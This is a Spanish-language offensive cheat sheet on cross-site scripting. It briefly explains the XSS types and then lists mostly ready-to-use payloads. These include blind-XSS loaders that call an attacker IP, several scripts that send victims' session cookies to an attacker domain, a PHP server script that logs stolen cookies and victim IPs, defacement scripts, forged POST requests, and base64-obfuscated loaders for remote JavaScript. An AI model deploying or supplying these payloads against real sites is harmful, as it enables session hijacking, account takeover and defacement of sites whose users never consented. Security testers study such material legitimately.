Cross-site scripting (XSS)

Reflected server XSS (Non-Persistent)

Ocurre cuando la entrada del usuario se muestra en la página después de ser procesada por el servidor (back-end), pero sin ser almacenada.

Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada. Para explotarlo, normalmente se envía un enlace a un usuario con el payload. Dado que el usuario confía en el dominio, posiblemente hará clic en el enlace, el servidor agregará nuestro payload y el navegador del usuario lo ejecutará.

Es posible que los parámetros POST también den como resultado un "reflected server XSS (Non-Persistent)". Sin embargo, no podríamos explotarlo enviado un enlace a un usuario. En su lugar, tendríamos que enviar al usuario a un sitio web que controlamos y tener un formulario que haga un POST automáticamente cuando el usuario ingrese al sitio web.

Stored server XSS (Persistent)

Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y luego se muestra al recuperarla. Por ejemplo, publicaciones o comentarios.

Esto hace que este tipo de XSS sea el más crítico, ya que afecta a una audiencia mucho más amplia. Cualquier usuario que visite la página sería víctima de este ataque. Además, es posible que "stored server XSS (Persistent)" no se pueda quitar fácilmente y que sea necesario eliminar el payload de la base de datos (back-end).

Reflected client XSS (Non-Persistent / DOM based)

Ocurre cuando la entrada del usuario se muestra en la página y esta es procesada por completo en el lado del cliente (JavaScript), pero sin ser almacenada.

Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada y que esta sea asignada a un elemento HTML desde JavaScript.

http://<target>/?search=<img src='noexiste' onerror='alert(0)'>
search.js
const urlSearchParams = new URLSearchParams(window.location.search);
const params = Object.fromEntries(urlSearchParams.entries());
document.getElementById("search").innerHTML = params.search

Stored client XSS (Persistent / DOM based)

Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y esta es procesada por completo en el lado del cliente (JavaScript) cuando se muestra en la página luego de recuperarla. Por ejemplo, publicaciones o comentarios que son obtenidos desde una base de datos y son asignados a elementos HTML desde JavaScript.

Blind XSS

Payloads de identificación general de "blind XSS".

<script src=http://attacker-IP-address></script>
'><script src=http://attacker-IP-address></script>
"><script src=http://attacker-IP-address></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://attacker-IP-address\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//attacker-IP-address");a.send();</script>
<script>$.getScript("http://attacker-IP-address")</script>

Ejemplo de identificación de campo vulnerable a "blind XSS".

mkdir /tmp/phpserver
cd /tmp/phpserver
php -S 0.0.0.0:80
<script src=http://attacker-IP-address/name></script>
<script src=http://attacker-IP-address/lastname></script>
<script src=http://attacker-IP-address/address></script>

Payloads

General

<script>alert(0)</script>
<script>alert('XSS');</script>
<img src="noexiste" onerror=alert(document.cookie)>
<img src="noexiste" onerror=document.write(document.cookie)>
<script>alert(window.origin)</script>
<img src="" onerror=alert(window.origin)>
<plaintext>
<script>print()</script>

Stealing session cookies

Acceso a cookies desde JavaScript (HttpOnly no establecido).

<script>alert(document.cookie);</script>

Envía cookies a web del atacante.

<script>new Image().src='http://web-atacante.com/xss.php?cookie='+document.cookie</script>
<script>fetch(`http://web-atacante.com/xss.php?cookie=${btoa(document.cookie)}`)</script>
<script>fetch('http://web-atacante.com', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<img src="noexiste" onerror="fetch('http://web-atacante.com/\?cookie=' + encodeURIComponent(document.cookie))">

Registro de cookies en servidor del atacante.

xss.php
<?php
// php -S 0.0.0.0:80
// tail -f steal-secrets.txt

if (isset($_GET['cookie'])) {
    $list = explode(";", $_GET['cookie']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("steal-secrets.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookies: {$cookie}\n");
        fclose($file);
    }
}
?>

Guarda cookies ocultas dentro del HTML de la página web.

<div style="display: none;">
<img src="noexiste" onerror=
"document.getElementById('form').onsubmit=function () {
var hidden='<span style=\'display:none;\'>
'+document.cookie+'</span>';
document.getElementById('mensaje').value+=hidden;}"/>
</div>

Stealing local secrets

Existen dos tipos de almacenamiento de datos en el navegador disponibles localStorage y sessionStorage, su diferencia radica en el nivel de persistencia de los datos. Al utilizar localStorage los datos se conservan hasta que se eliminen explícitamente, mientras que al utilizar sessionStorage los datos se conservan hasta que se cierre la pestaña. Se puede acceder a los datos de localStorage usando la propiedad window.localStorage, mientras que se puede acceder a sessionStorage con la propiedad window.sessionStorage.

Stealing saved passwords

Keylogger

Phishing

Defacement

<script>document.title="Defacement"</script>
<script>document.getElementsByTagName('body')[0].innerHTML='Defacement'</script>
<script>document.getElementById("id").innerHTML = "Defacement";</script>
<img src="noexiste" onerror="document.title='Defacement';" />
<script>document.body.style.background="#ff0000"</script>
<script>document.body.background="https://example.com/image.png"</script>
<script>
var tagHeader = document.getElementsByTagName('header')[0];
var tagH1 = tagHeader.getElementsByTagName('h1');
for(var i=0; i<tagH1.length; i++) {
    var tagH1item = tagH1[i];
    tagH1item.innerHTML='Defacement';
}
</script>

POST request

xss.js
fetch('http://<target>/',{
    method: 'POST',
    mode: 'same-origin',
    credentials: 'same-origin',
    headers: {
        'Content-Type':'application/x-www-form-urlencoded'
    }, 
    body:'param=value1&param2=value2&param3=value3'
})

Ejecución de payload desde recurso externo

Creación de archivo JavaScript con payload a ejecutar.

xss.js
alert(0)

Habilitación de servidor HTTP para compartir el archivo xss.js.

php -S 0.0.0.0:80

Payloads para cargar JavaScript desde recurso externo.

<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">

Payload utilizando jQuery para cargar JavaScript desde recurso externo.

jQuery.getScript('http://<attacker-IP-address>/xss.js')
echo -n "jQuery.getScript('<attacker-IP-address>/xss.js')" | base64
'+eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp'))+'
'+btoa(eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp')))+'

PortSwigger

Payload Box

Payloads All The Things

Herramientas

XSS Hunter

Truffle Security

Última actualización